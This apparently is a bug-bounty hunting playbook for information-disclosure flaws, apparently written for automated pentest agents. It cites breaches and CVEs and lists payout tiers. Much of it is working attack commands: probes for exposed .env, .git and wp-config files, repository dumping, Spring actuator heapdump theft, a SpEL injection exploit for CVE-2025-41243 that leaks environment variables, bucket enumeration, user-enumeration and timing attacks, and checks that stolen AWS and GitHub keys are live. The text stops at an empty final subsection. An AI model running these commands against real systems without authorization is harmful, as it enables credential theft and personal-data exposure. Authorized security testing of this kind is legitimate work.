Pentest Agents Hunt Info Disclosure

Crown Jewel Targets

Information disclosure is the most-volume bug class in bug bounty (~30% of all disclosed reports across H1/Bugcrowd hacktivity), but the paying surface has shifted decisively toward systemic credential exposure rather than one-off PII leaks. Reflected stack traces on a 404 page are mid-three-figure or N/A on most programs; an exposed /actuator/heapdump containing AWS keys is mid-five-figure-class because it cascades to RCE on production cloud infrastructure. The 24-month meta crystallized around seven asset types. All CVEs below are NVD-verified.

1. Spring Boot Actuator exposure (mid four-figure to mid five-figure when chained to cloud takeover). Wiz Threat Research Dec 2024 analysis: 60% of cloud environments use Spring Boot Actuator, 11% expose instances publicly to the internet, 24% of exposed instances are misconfigured. Volkswagen 9TB GPS data disclosure — single open /actuator/heapdump endpoint provided plaintext AWS keys via heap dump, attackers downloaded 9 TB of GPS data from hundreds of thousands of cars. Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/ (SYSCREST analysis Feb 2025), https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html (Wiz research summary Dec 2024). NVD-verified CVEs in the family:

• CVE-2025-41243 Spring Cloud Gateway Server Webflux property modification (CVSS 10.0 CRITICAL) — when actuator gateway endpoint exposed via management.endpoints.web.exposure.include=gateway, attackers modify Spring Environment properties remotely → potential RCE. Affects 4.3.x, 4.2.x, 4.1.x, 4.0.x, 3.1.x. Fix in 4.3.1 / 4.2.5 (OSS); 4.1.11 / 3.1.11 (Enterprise).
• CVE-2025-41253 Spring Cloud Gateway info-disclosure (CVSS 7.5 HIGH) — SpEL injection on actuator endpoint exposes environment variables and system properties (DB credentials, API keys, internal URLs).
• CVE-2025-22235 Spring Boot EndpointRequest.to() wrong matcher (CVSS 7.3 HIGH) — disabled actuator endpoint creates unprotected /null/** matcher path.
• CVE-2025-8525 Exrick xboot Spring Boot Admin/Actuator info disclosure (CVSS 5.5 MEDIUM).
• CVE-2025-8738 zlt2000 microservices-platform actuator interface (CVSS 5.5 MEDIUM).

The Wiz dashboard checklist for actuator endpoints: /health (low), /prometheus /metrics (medium), /env (HIGH — never expose), /heapdump (CRITICAL — never expose), /beans /mappings /loggers (high — internal/auth only), /shutdown (HIGH — disabled by default, never enable).

2. .git/ and .env mass exposure (mid four-figure direct + supply-chain cascades). Two large 2024-2025 disclosures show this is industrialized:

• Sysdig EmeraldWhale Oct 2024 — automated scanning of IP ranges for exposed /.git/config files. Stole 15,000 cloud credentials from 67,000 URLs (28K Git repos, 6K GitHub tokens, 2K validated active credentials). Stored stolen secrets in 1TB S3 bucket. Reference: https://sysdig.com/blog/emeraldwhale, https://www.bleepingcomputer.com/news/security/hackers-steal-15-000-cloud-credentials-from-exposed-git-config-files/.
• Unit42 (Palo Alto) Aug 2024 — large-scale .env extortion campaign scanned 110,000 domains, identified 90,000 unique combos of leaked env-vars including 7,000 active AWS access keys. Targeted Mailgun-mentioning .env files for legitimate-domain phishing. Reference: https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation.

Pattern: web servers serving Laravel, Symfony, Rails, Django apps mistakenly serve the application root including .env and .git/. Hunt with: curl -s https://target/.env, curl -s https://target/.git/config, curl -s https://target/.git/HEAD. Then git-dumper https://target/.git/ /tmp/dumped to recover the full repo.

Disclosed bug bounty cases: NASA _x3ro_ Bugcrowd disclosure (Aug 2025, P3) — publicly accessible .env on NASA Bitbucket exposed UAT credentials for cmr.sit.earthdata.nasa.gov. Reference: https://redpacketsecurity.com/bugcrowd-bugbounty-disclosure-publicly-accessible-env-file-exposing-hardcoded-credentials-on-nasa-s-git-repository.

3. Source-code repository secret leakage (CWE-798, low five-figure on triage-friendly programs). GitGuardian 2026 State of Secrets Sprawl: 28.65M new hardcoded secrets added to public GitHub repos in 2025 (34% YoY increase). GitHub's own 2024 secret-scanning report: 39M secret leaks. IEEE S&P 2025 academic study: up to 30% of projects at risk. Starbucks H1 #716292 (2019, Cremit reference) — single leaked JumpCloud API key in public GitHub repo, classified CWE-798, CVSS 9.7 critical, paid bounty — proof that bug bounty programs CAN treat credential exposure as paying class. Reference: https://www.cremit.io/blog/out-of-scope-loophole-credential-exposure (Apr 2026 Cremit research on this exact pattern).

Hunt with TruffleHog (https://github.com/trufflesecurity/trufflehog, 26K+ stars, 800+ detectors, active credential verification against provider APIs to confirm still-live keys). Same pattern via GitGuardian, Snyk Code SAST, GitHub Secret Scanning. Caveat from Cremit Apr 2026 analysis: most bug bounty programs still classify credential exposure as out-of-scope — check program scope before reporting; many specifically EXCLUDE this finding class.

4. Cloud-bucket misconfig (S3, GCS, Azure Blob — mid four-figure when PII counted; informational P5 when generic). ESHYFT March 2025 — 108GB / 86,341 healthcare-worker records (medical IDs, drivers licenses, SSNs, prescription records, disability claims) in unsecured S3 bucket; researcher Jeremiah Fowler discovered, took >1 month for org to close. Reference: https://www.theregister.com/2025/03/11/uber_for_nurses_exposes_86k/. NASA Bugcrowd disclosure Feb 2025 — PDF in public S3 bucket (P5 informational only — NASA's VDP triages cloud-bucket findings strictly). Reference: https://bugcrowd.com/disclosures/aa45924f-8b67-4f22-8dff-dac7dc9d60e2/exposure-of-pdf-file-in-a-public-amazon-s3-bucket-associated-with-nasa.

Hunt with s3scanner, AWSBucketDump, subdomain enumeration → <name>.s3.amazonaws.com, <name>.blob.core.windows.net, <name>.storage.googleapis.com. The Wiz Cloud Security Index annual report tracks the most-common misconfig classes.

5. Debug endpoint family (Spring actuator, Go pprof, Glances, FUXA, NetBird, Harbor — low four-figure to low five-figure depending on what's exposed). All NVD-verified or GHSA-verified, all 2025-2026:

• Dgraph /debug/pprof/cmdline (GHSA-95mq-xwj4-r47p) — unauthenticated debug endpoint exposes full process command line including admin token from --security "token=...". Critical.
• Glances /api/4/serverslist (GHSA-r297-p3v4-wp8m, GHSA-gfc2-9qmw-w7vh) — Central Browser mode REST API returns raw server objects with reusable downstream credentials; permissive CORS allows any origin.
• FUXA plaintext DB credentials (GHSA-c5gq-4h56-4mmx) — unauthenticated remote attacker retrieves administrative database credentials.
• Harbor default password (GHSA-hj7x-hmf2-hc2p) — GoHarbor v2.15.0 and below allows default password for web UI login.
• NetBird VPN (GHSA-g3j4-58mp-3x25) — installation script fails to remove ZITADEL-created default admin password.
• MinIO LDAP brute-force (GHSA-jv87-32hw-hh99) — AssumeRoleWithLDAPIdentity STS endpoint vulnerable to brute-forcing due to user enumeration + missing rate limit.
• PraisonAI WebSocket Gateway (GHSA-cfh6-vr3j-qc3g) — /ws and /info endpoints serve agent topology with no auth; any network client can connect, enumerate registered agents.
• Gradio ACL bypass (GHSA-j2jg-fq62-7c3h) — file path ACL bypassed via case alteration; lack of case normalization.
• Rancher cluster template credentials in answers — credentials not properly sanitized.
• ArgoCD Redis cache risky/missing crypto — credentials cached without proper encryption.
• /server-status Apache mod_status endpoint — H1 report 2473173 (2026 High) — exposed at https://203.137.128.240/server-status leaks request URLs, IPs, vhosts.

6. PII exposure via API misconfiguration (CVSS-Confidentiality-only, low four-figure to low five-figure depending on record count). Recent disclosed examples:

• ASBS soldiers PII (H1 2026 critical) — viewing other soldiers' Personnel Information / Board / Board Voters via the Army Body Score System.
• /talos/api/v1/files/upload Critical Information Disclosure (H1 report 3228011, 2025 critical).
• IBM Aspera HTTP Gateway (H1 report 3340797, 2026 high) — sensitive information stored in clear text in easily obtainable files.
• ORDER_ERROR_LOG PII Data Exposure (H1 2026 high) — error-log endpoint returns PII for any order ID.
• Session Cookie Leakage via Static Header Field in WebViewerFragment (H1 2026 high) — mobile WebView leaks session via static header.

Hunt: every API endpoint that returns user data, every error/log endpoint, every export feature, every /me and /users/{id} route.

7. WordPress wp-config.php exposure (mid three-figure to mid four-figure; reliable VDP filler). Multiple H1 reports 2026: report 3328408 (National Guard website), report 3252302. Pattern: .bak, .old, ~, .swp backup files served alongside wp-config.php containing DB credentials. Hunt with: curl https://target/wp-config.php{,.bak,.old,~,.swp}. The BackupFinder ffuf wordlist covers the common variants.

Memory disclosure (Heartbleed-class, when found pays mid five-figure). Dgraph /debug/pprof/cmdline above. .NET Framework ObjRefs Disclosure (CVE-2024-29059) — H1 2026 high — .NET Remoting ObjRefs reveal internal endpoints. Modern memory-disclosure findings rare but high-impact when chained.

Mobile / game / IoT disclosure — ASLR leak in Mario Kart World through LAN mode (H1 2026 high). Mobile-app reverse-engineering finds API keys, internal URLs in compiled binaries. Game-engine memory disclosure via LAN/multiplayer protocols.

What pays the most: Spring actuator heapdump → cloud takeover (mid five-figure when chained — Volkswagen-class). Source-code repo with active AWS keys (low five-figure on programs that accept the class — Starbucks H1 #716292 precedent). Mass-PII via API misconfig (mid four-figure × record-count multiplier on healthcare/financial). .env exposure with active credentials (low four-figure direct + chain to AWS infrastructure for upgrade). .git/ exposure (low four-figure direct + recover full repo + extract secrets). Generic stack trace, version banners, README leak — N/A on most programs.

Attack Surface Signals

Greppable signals that this surface might exist:

# Spring Boot Actuator endpoints (CVE-2025-41243 family + Volkswagen pattern)
rg -n -e 'management\.endpoints\.web\.exposure\.include' \
   -e 'spring-boot-starter-actuator' \
   -g 'application*.{yml,yaml,properties}' -g '*.gradle' -g 'pom.xml'

# Spring actuator endpoints exposed in code
rg -n -e '@Endpoint' -e '@WebEndpoint' -e '@ReadOperation' --type java

# Hardcoded secrets / credentials in source
rg -n -e 'AKIA[0-9A-Z]{16}' \
   -e 'AIza[0-9A-Za-z_-]{35}' \
   -e 'sk_live_[0-9a-zA-Z]{24,}' \
   -e 'ghp_[0-9a-zA-Z]{36}' \
   -e 'github_pat_[0-9a-zA-Z]{82}' \
   -e 'xox[bpoa]-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}' \
   -e 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' \
   -g '!*.lock' -g '!node_modules' -g '!vendor'

# Database connection strings
rg -n -i -e 'jdbc:(?:mysql|postgresql|mariadb|oracle|mssql)://[^"\s]*:[^@\s]+@' \
   -e 'mongodb(\+srv)?://[^"\s]*:[^@\s]+@' \
   -e 'redis://[^"\s]*:[^@\s]+@' \
   -e 'amqp://[^"\s]*:[^@\s]+@'

# .env file references in code (suggest .env exists in deploy)
rg -n -e 'process\.env\.\w+' -e 'os\.environ\[' -e 'env\('?\w+'?\)' \
   --type js --type ts --type py --type php

# Debug / pprof endpoints in Go code
rg -n -e 'net/http/pprof' -e '"/debug/pprof"' -e '_pprof' --type go

# Verbose error / debug mode in framework configs
rg -n -i -e 'debug\s*=\s*true' -e 'app_debug=true' \
   -e 'DEBUG\s*:\s*True' -e 'DJANGO_DEBUG=True' \
   -g '*.{yml,yaml,toml,ini,env,properties}'

# Stack-trace exposure in error handlers (Express/Flask)
rg -n -e 'app\.use\(function\(err' -e 'errorhandler\(' \
   -e '@app\.errorhandler' -e 'send.*error\.stack' \
   --type js --type ts --type py

HTTP-level signals on a live target:

• Server: Tomcat, X-Application-Context:, Server: Jetty + /actuator/health returns 200 → Spring Boot Actuator surface (probe /actuator/heapdump, /actuator/env, /actuator/beans)
• Server: Apache + Apache mod_status enabled → /server-status info disclosure (H1 report 2473173, 2026 High)
• X-Powered-By: PHP/X.Y.Z + phpinfo() reachable at common paths → CVE-class info disclosure
• X-Powered-By: ASP.NET, .NET Remoting enabled → CVE-2024-29059 .NET Framework ObjRefs disclosure family
• Subdomain returns Laravel default page → probe https://target/.env directly
• Any 200 OK on https://target/.git/HEAD or https://target/.git/config → .git/ exposure (Sysdig EmeraldWhale class)
• Vary: Accept-Encoding + text/html response on https://target/wp-config.php{,.bak,.old,~} → WordPress wp-config exposure (H1 reports 3328408, 3252302, 2026 High)
• Open <bucket>.s3.amazonaws.com, <bucket>.blob.core.windows.net, <storage>.googleapis.com returns XML directory listing → S3 / Azure / GCS bucket misconfig (ESHYFT-class)
• /api/v1/info, /api/4/serverslist, /info, /version, /build-info returning verbose data → Glances-class (GHSA-r297-p3v4-wp8m)
• /debug/pprof/cmdline returns process command line including secrets → Dgraph-class (GHSA-95mq-xwj4-r47p)
• Login page returning different responses for valid vs invalid usernames → user enumeration surface (MinIO GHSA-jv87-32hw-hh99 LDAP variant)
• /swagger.json, /api-docs, /openapi.json, /.well-known/openapi exposed in production → API documentation exposure
• 500 error response includes full stack trace, file paths, framework version → stack-trace info disclosure
• WWW-Authenticate: Basic realm="..." exposing internal app names → internal hostname disclosure
• Set-Cookie: <SESSION>=<value>; Domain=.target.com; Path=/ (no Secure, no HttpOnly) → session-cookie leakage surface

Insertion Point Taxonomy

Every place sensitive content leaks for info-disclosure:

• Source-code repos (.git/.svn/.hg directories served by web server, public GitHub repos with embedded secrets, leaked private repo via dependency) — Sysdig EmeraldWhale 2024
• Configuration files (.env, wp-config.php, web.config, application.properties, settings.py, config.json) — Unit42 110K-domain scan 2024
• Backup files (.bak, .old, ~, .swp, .swo, .DS_Store, _bak, .backup, .copy) — manual fuzzing target
• Debug / health / actuator endpoints (/actuator/, /debug/pprof/, /api/health, /api/info, /api/build-info) — Wiz Threat Research 2024
• Error pages / stack traces (any 500 / 404 / unhandled exception) — framework-version + path disclosure
• Server-status / management consoles (/server-status, /server-info, /jenkins/script, /actuator/*) — multiple H1 2026 reports
• Cloud storage buckets (S3, GCS, Azure Blob, OSS, R2 — by name guessing or subdomain enum) — ESHYFT-class
• API responses with verbose fields (/users/{id} returning password_hash, internal_notes, role, tokens) — over-fetching pattern
• Background-job logs (Sidekiq, Celery, BullMQ admin UI exposing job arguments) — credential leakage in job params
• Browser-side: JS bundles, Service Workers, source maps (.map files, __webpack_require__ exposing module names) — secrets in client-side
• Mobile app binaries (APK reverse-engineering, IPA Mach-O strings, embedded URLs and API keys)
• Memory dumps (heapdump, core dumps, profiler output, browser tab snapshots) — Volkswagen Spring actuator pattern
• Process command lines (/proc/PID/cmdline, /debug/pprof/cmdline, ps output) — Dgraph GHSA-95mq-xwj4-r47p
• DNS records (TXT records exposing internal service names, SPF records exposing service vendors, CNAME chains)
• Headers (Server, X-Powered-By, X-AspNet-Version, X-Framework, custom internal-name headers)
• Email headers and bounces (Received chains exposing internal mail server names, NDR responses leaking user existence)
• Webhooks / callback URLs (test webhook endpoints exposing internal service URLs in retry logs)
• CORS preflight responses (Access-Control-Allow-Origin reflecting attacker origin reveals trusted-origin allowlist)
• Sitemap, robots.txt (admin paths, dev environment URLs, staging hostnames)
• Public-by-design APIs accidentally returning private fields — over-fetching, GraphQL field-level (cross-references hunt-idor and hunt-xss)
• Enumeration endpoints — different responses for existing vs non-existing user/email/UUID enable username harvesting (MinIO LDAP GHSA-jv87-32hw-hh99 pattern)
• Cache headers leaking auth state (X-Cache: HIT / Vary mismatches reveal authenticated content cached publicly)

For each surface, send: curl -sI https://target/<path> (header inspection), curl -s https://target/<path> | head -100 (body inspection), curl -s -X POST -H "Content-Type: application/json" -d '{}' https://target/<endpoint> (error elicitation), and run nuclei -t exposures/ against the host for the canonical exposure templates.

Step-by-Step Hunting Methodology

1. Subdomain enumeration first. subfinder + amass + chaos + crt.sh → every subdomain. Each is a candidate for .git/, .env, /actuator/, /server-status. The exposed-config attack surface scales linearly with subdomain count; legacy / dev / staging subdomains are the highest-yield targets.

2. Run nuclei exposures/ template set on every subdomain. nuclei -t http/exposures/ covers .git/HEAD, .env, /server-status, /actuator/*, /swagger.json, /.well-known/, /phpinfo, hundreds more. Single command, ~30 seconds per host. The H1 2026 wp-config disclosures (reports 3328408, 3252302) and /server-status disclosure (2473173) are all canonical nuclei-template hits.

3. Spring Boot Actuator deep-probe. If host responds with Server: containing Tomcat/Jetty/Undertow OR X-Application-Context: header OR /actuator/health returns 200 — probe the full endpoint set with priority ordering: /actuator/heapdump (CRITICAL — full memory dump), /actuator/env (HIGH — env vars), /actuator/configprops, /actuator/beans, /actuator/threaddump, /actuator/mappings, /actuator/loggers, /actuator/gateway/routes (CVE-2025-41243). For /actuator/heapdump, download the binary, analyze with Eclipse Memory Analyzer (MAT) or strings | grep -E 'AKIA|AIza|sk_live|ghp_' for secret patterns.

4. .env and .git/ direct probe on every subdomain. curl -s https://target/.env and curl -s https://target/.git/HEAD. If 200 OK with content, run git-dumper https://target/.git/ /tmp/dumped to recover the entire repo. Then trufflehog filesystem /tmp/dumped --only-verified to extract live credentials.

5. wp-config.php and backup-file fuzzing. Use ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u https://target/FUZZ -mc 200. Append common backup extensions: wp-config.php{,.bak,.old,~,.swp,.swo,.copy,.backup}. The H1 2026 wp-config reports came from this exact technique against forgotten subdomains.

6. Source-code repo secret scanning. For OSS targets and any program with GitHub presence in scope: trufflehog github --org=<org> --only-verified (uses 800+ detectors with active credential validation). Cross-check with gitleaks on cloned repos. Reference TruffleHog: https://github.com/trufflesecurity/trufflehog. Caveat: most bug bounty programs classify credential exposure as out-of-scope; check program policy first (see Cremit Apr 2026 analysis at https://www.cremit.io/blog/out-of-scope-loophole-credential-exposure).

7. Cloud bucket discovery. From subdomain list, derive bucket-name candidates: <subdomain>, <subdomain>-prod, <subdomain>-staging, <subdomain>-backup, <subdomain>-logs, <subdomain>-data. Test each against https://<name>.s3.amazonaws.com, https://<name>.blob.core.windows.net, https://storage.googleapis.com/<name>. Use s3scanner or AWSBucketDump for automation. ESHYFT-class findings come from this exact enumeration on healthcare/financial targets.

8. Debug endpoint family. For Go services: /debug/pprof/cmdline (Dgraph GHSA-95mq-xwj4-r47p — exposes admin token in process args). For Spring: actuator family above. For Glances/Prometheus/Grafana monitoring: /api/4/serverslist (GHSA-r297-p3v4-wp8m), /metrics, /prometheus, /dashboards/api/. For Kubernetes: /healthz/secret, /api/v1/secrets against kubelet anonymous-auth misconfigs.

9. API over-fetching audit. For every authenticated API endpoint, request the data and inspect response. Look for fields that shouldn't be there: password_hash, password_salt, tokens[], api_keys[], internal_notes, admin_comments, kyc_documents, mfa_secrets, recovery_codes. The over-fetch pattern is mid four-figure on most programs.

10. User / email enumeration. Compare login response (timing, body, status) for known-existing vs non-existing username. Same for password reset, registration ("email already in use" vs "verification sent"). MinIO GHSA-jv87-32hw-hh99 (LDAP brute-force via enumeration + missing rate limit) is the canonical 2026 case. Document the timing delta or response delta.

11. Stack trace / debug page elicitation. Send malformed requests to every endpoint: ', null, [], {"a":}, large bodies, missing required fields, content-type mismatches. Watch for 500 responses with full stack traces, file paths, framework versions, DB type. These are mid three-figure direct unless they reveal something materially sensitive (DB connection string, internal IP, framework + version → CVE replay candidate).

12. Mobile app reverse engineering. Pull APK with apktool d <apk> or IPA with ipsw. Run strings <binary> | grep -iE '(api[_-]?key|secret|token|password|bearer|aws_access_key)'. Inspect assets/, res/raw/, META-INF/ for plaintext config. Mobile-app secret leaks are mid four-figure on iOS/Android program scope.

13. Validate before reporting. Demonstrable impact: count the records (PII), validate the credential is live (aws sts get-caller-identity for AWS keys; curl https://api.github.com/user -H "Authorization: token <ghp>" for GitHub tokens), show the exfil path. Don't dump the whole bucket — three records is enough proof. See Gate 0.

Payload & Detection Patterns

Sub-technique A — .env and config-file direct probe

# Direct .env probe
curl -s -o /dev/null -w "%{http_code}\n" https://target/.env
curl -s https://target/.env | head -50

# Common variants — try each
for path in .env .env.local .env.production .env.development \
           .env.bak .env.old .env~ .env.example .env.sample \
           env .environment app.env config.env; do
  curl -s -o /dev/null -w "%{http_code} %s\n" $path https://target/$path
done

# Laravel-specific (Unit42 Aug 2024 attack pattern)
curl -s https://target/.env | grep -E '^(APP_KEY|DB_PASSWORD|MAIL_PASSWORD|AWS_ACCESS_KEY|AWS_SECRET|MAILGUN)'

# Symfony / NextJS variants
curl -s https://target/.env.local
curl -s https://target/.next/server/.env

# WordPress wp-config (H1 2026 reports 3328408, 3252302)
for ext in '' .bak .old '~' .swp .swo .copy .backup; do
  curl -s -o /dev/null -w "%{http_code} %s\n" "wp-config.php$ext" "https://target/wp-config.php$ext"
done

Sub-technique B — .git/ directory exposure (Sysdig EmeraldWhale 2024 pattern)

# Detect exposed .git
curl -s https://target/.git/HEAD
curl -s https://target/.git/config
curl -s https://target/.git/index | head -c 100  # binary index

# Recover full repo using git-dumper
pip install git-dumper
git-dumper https://target/.git/ /tmp/dumped-target

# Inspect for secrets in commit history
cd /tmp/dumped-target
git log --all --oneline
git log --all -p -S 'AKIA' -- '*'        # find AWS keys ever committed
git log --all -p -S 'password' -- '*'    # find password mentions
git log --all -p -S 'sk_live' -- '*'     # find Stripe live keys
git log --all -p -S 'ghp_' -- '*'        # find GitHub PATs

# TruffleHog pass for systematic secret extraction (live verification)
trufflehog filesystem /tmp/dumped-target --only-verified --json > /tmp/secrets.json

# Reference: https://sysdig.com/blog/emeraldwhale (Sysdig Threat Research Oct 2024)
# 15K cloud creds stolen from 67K URLs via this exact pattern

Sub-technique C — Spring Boot Actuator exploitation

# Detect actuator presence
curl -s https://target/actuator | jq .
curl -s https://target/actuator/health
# Response with "_links" object → actuator exposed

# CRITICAL endpoints — heap dump (Volkswagen pattern)
curl -s -o heapdump.bin https://target/actuator/heapdump
strings heapdump.bin | grep -E 'AKIA[0-9A-Z]{16}' | head -20  # AWS keys
strings heapdump.bin | grep -E 'AIza[0-9A-Za-z_-]{35}' | head -20  # Google API
strings heapdump.bin | grep -E 'sk_live_[0-9a-zA-Z]{24,}' | head -20  # Stripe
strings heapdump.bin | grep -E 'jdbc:[a-z]+://[^@]+@' | head -20  # DB URIs
# Or load in Eclipse Memory Analyzer (MAT) for proper analysis

# HIGH endpoints
curl -s https://target/actuator/env | jq .
curl -s https://target/actuator/configprops | jq .
curl -s https://target/actuator/beans | jq '.contexts.application.beans | keys'
curl -s https://target/actuator/threaddump
curl -s https://target/actuator/mappings
curl -s https://target/actuator/loggers

# CVE-2025-41243 Spring Cloud Gateway property modification (CVSS 10.0)
# Trigger condition: management.endpoints.web.exposure.include=gateway
curl -s https://target/actuator/gateway/routes
# If 200 with route list — vulnerable
# Exploit: POST a new route with SpEL that reads/modifies env properties
curl -X POST https://target/actuator/gateway/routes/exploit \
  -H 'Content-Type: application/json' \
  -d '{"id":"exploit","predicates":[{"name":"Path","args":{"_genkey_0":"/exploit"}}],"filters":[{"name":"AddResponseHeader","args":{"name":"X-Out","value":"#{T(java.lang.System).getenv()}"}}],"uri":"http://localhost"}'
curl -X POST https://target/actuator/gateway/refresh
curl -i https://target/exploit  # X-Out header now leaks env

# CVE-2025-41253 Spring Cloud Gateway info disclosure (CVSS 7.5)
# SpEL injection via actuator endpoint
# (Verbatim payload restricted in vendor advisory; see https://spring.io/security/cve-2025-41253)

# CVE-2025-22235 Spring Boot EndpointRequest.to wrong matcher (CVSS 7.3)
# Probe /null/** path when actuator endpoints disabled but EndpointRequest.to() used
curl -s https://target/null/

# Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/ (Volkswagen analysis)
# Reference: https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html (Wiz Dec 2024)

Sub-technique D — Cloud bucket misconfig (S3/GCS/Azure)

# AWS S3 — check public listing
aws s3 ls s3://<target-bucket-name> --no-sign-request
curl -s https://<bucket-name>.s3.amazonaws.com/
# XML response with <ListBucketResult> → public listing enabled

# Get specific file (when listing disabled but read enabled)
aws s3 cp s3://<bucket>/secret.txt /dev/stdout --no-sign-request

# Discovery via subdomain enumeration (ESHYFT-class, Mar 2025)
# For each subdomain, try as bucket name
for sub in $(cat subdomains.txt); do
  for suffix in '' '-prod' '-staging' '-backup' '-logs' '-data' '-uploads'; do
    curl -s -o /dev/null -w "%{http_code} %s\n" "$sub$suffix" \
      "https://$sub$suffix.s3.amazonaws.com/"
  done
done

# Google Cloud Storage
curl -s https://storage.googleapis.com/<bucket-name>/
gsutil ls gs://<bucket-name>

# Azure Blob
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"

# AWSBucketDump for systematic enum
git clone https://github.com/jordanpotti/AWSBucketDump
python AWSBucketDump.py -l buckets.txt -g grep_patterns.txt -D

Sub-technique E — Source-code secret scanning (TruffleHog pattern)

# Scan a GitHub org for verified secrets
trufflehog github --org=target-org --only-verified --json > secrets.json

# Scan single repo with full git history
trufflehog github --repo=https://github.com/target/repo --only-verified --json

# Scan a local clone (faster)
git clone --mirror https://github.com/target/repo /tmp/repo.git
trufflehog filesystem /tmp/repo.git --only-verified

# Scan S3 bucket contents
trufflehog s3 --bucket=<bucket-name>

# Scan Docker image
trufflehog docker --image=<image-name>

# Common manual regex patterns (what TruffleHog detects with API verification)
# AWS access key
grep -rE 'AKIA[0-9A-Z]{16}' .
# AWS secret (40 chars b64-ish)
grep -rE '[A-Za-z0-9/+=]{40}' . | grep -i -E 'aws_secret|secret_key|secretAccessKey'
# Google API key
grep -rE 'AIza[0-9A-Za-z_-]{35}' .
# Slack token
grep -rE 'xox[bpoa]-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}' .
# Stripe live key
grep -rE 'sk_live_[0-9a-zA-Z]{24,}' .
# GitHub Personal Access Token
grep -rE 'ghp_[0-9a-zA-Z]{36}' .
grep -rE 'github_pat_[0-9a-zA-Z]{82}' .
# JWT token
grep -rE 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' .
# Private key
grep -rE '-----BEGIN (RSA|EC|OPENSSH|PRIVATE) (PRIVATE )?KEY-----' .

# Validate AWS key is live (don't pivot — just confirm)
AWS_ACCESS_KEY_ID=AKIA... AWS_SECRET_ACCESS_KEY=... \
  aws sts get-caller-identity

# Validate GitHub PAT is live
curl -s https://api.github.com/user -H "Authorization: token ghp_..."

# Reference: https://github.com/trufflesecurity/trufflehog
# Reference: https://snyk.io/articles/state-of-secrets/ (28.65M secrets in 2025 per GitGuardian)

Sub-technique F — Debug / pprof / management endpoint family

# Go pprof — Dgraph pattern (GHSA-95mq-xwj4-r47p, 2026 critical)
curl -s https://target/debug/pprof/
curl -s https://target/debug/pprof/cmdline   # process command line — leaks --security="token=..."
curl -s https://target/debug/pprof/goroutine?debug=2  # goroutine stacks
curl -s https://target/debug/pprof/heap > heap.bin    # heap dump
go tool pprof -text heap.bin                          # analyze

# Glances /api/4/* family (GHSA-r297-p3v4-wp8m, GHSA-gfc2-9qmw-w7vh, GHSA-7p93-6934-f4q7, 2026 critical/high)
curl -s https://target:61208/api/4/serverslist     # leaks downstream credentials
curl -s https://target:61208/api/4/all             # full system info
curl -s https://target:61208/api/4/processlist     # running processes
# CORS bypass: even from attacker origin, Access-Control-Allow-Origin: * lets attacker exfil

# FUXA plaintext DB credentials (GHSA-c5gq-4h56-4mmx, 2026 critical)
curl -s https://target/api/settings  # vulnerable endpoint returns DB creds

# MinIO LDAP brute-force via enumeration (GHSA-jv87-32hw-hh99, 2026 critical)
# AssumeRoleWithLDAPIdentity returns different errors for valid vs invalid LDAP user
curl -X POST https://minio.target/?Action=AssumeRoleWithLDAPIdentity \
  -d "LDAPUsername=alice&LDAPPassword=test&Version=2011-06-15"
# Different response code/message for "user exists, wrong password" vs "user doesn't exist"

# Apache mod_status / server-info (H1 2026 report 2473173)
curl -s https://target/server-status
curl -s https://target/server-info

# phpinfo
for path in phpinfo.php info.php php-info.php test.php phpinfo.html; do
  curl -s -o /dev/null -w "%{http_code} %s\n" $path https://target/$path
done

# Spring Boot Admin
curl -s https://target/admin/login
curl -s https://target/wallboard

# /jenkins/script — Jenkins Groovy console
curl -s https://target/jenkins/script

Sub-technique G — User / email enumeration via response delta

# Login response delta (existing user vs non-existing)
curl -s -X POST https://target/api/login -d '{"email":"existing@target.com","password":"wrong"}'
# Response: "Invalid password" (HTTP 401)
curl -s -X POST https://target/api/login -d '{"email":"nonexistent@target.com","password":"wrong"}'
# Response: "Invalid email or password" (HTTP 401)
# Different messages → enumeration

# Password reset response delta
curl -s -X POST https://target/api/password-reset -d '{"email":"existing@target.com"}'
# "Verification email sent"
curl -s -X POST https://target/api/password-reset -d '{"email":"nonexistent@target.com"}'
# "User not found"
# Or both return same message — but timing differs (DB lookup vs not)

# Registration enumeration
curl -s -X POST https://target/api/signup -d '{"email":"existing@target.com","password":"x"}'
# "Email already in use"

# MinIO LDAP variant (GHSA-jv87-32hw-hh99)
# Different error code for "user not in LDAP" vs "user exists, wrong password"
# Then brute-force the existing user's password without rate limiting

# SAML response: different error for "no user found" vs "wrong assertion"
curl -X POST https://target/saml/acs -d 'SAMLResponse=<base64>'

# OAuth: client_id enumeration via authorize endpoint
curl -s "https://target/oauth/authorize?client_id=valid&redirect_uri=..."
curl -s "https://target/oauth/authorize?client_id=invalid&redirect_uri=..."

# Time-based enumeration (when responses are identical)
for email in "alice@target.com" "nonexistent@target.com"; do
  time curl -s -o /dev/null -X POST https://target/api/login \
    -d "{\"email\":\"$email\",\"password\":\"x\"}"
done
# Existing user takes longer (bcrypt hash comparison vs immediate fail)

Sub-technique H — Stack trace / verbose error elicitation

# Send malformed JSON
curl -s -X POST https://target/api/users \
  -H 'Content-Type: application/json' \
  -d 'not json'

# Send wrong content-type
curl -s -X POST https://target/api/users \
  -H 'Content-Type: application/xml' \
  -d '<x/>'

# Send oversized body
python3 -c 'print("a"*10**6)' | curl -s -X POST https://target/api/users \
  -H 'Content-Type: application/json' --data-binary @-

# Send invalid characters in URL params
curl -s "https://target/api/items?id=%00"
curl -s "https://target/api/items?id='"
curl -s "https://target/api/items?id=[]"

# Send invalid IDs — type confusion
curl -s "https://target/api/users/null"
curl -s "https://target/api/users/undefined"
curl -s "https://target/api/users/{}"

# Trigger internal-error path — query for known-broken state
curl -s "https://target/api/orders?status=FOOBAR_INVALID_ENUM"

# Look for: file paths (/var/www/, C:\inetpub\), framework versions (Spring/Django/Rails),
# DB hostnames (db.internal.target.com), DB type (PostgreSQL 14.x), full stack traces.

Sub-technique I — Mobile app reverse engineering for embedded secrets
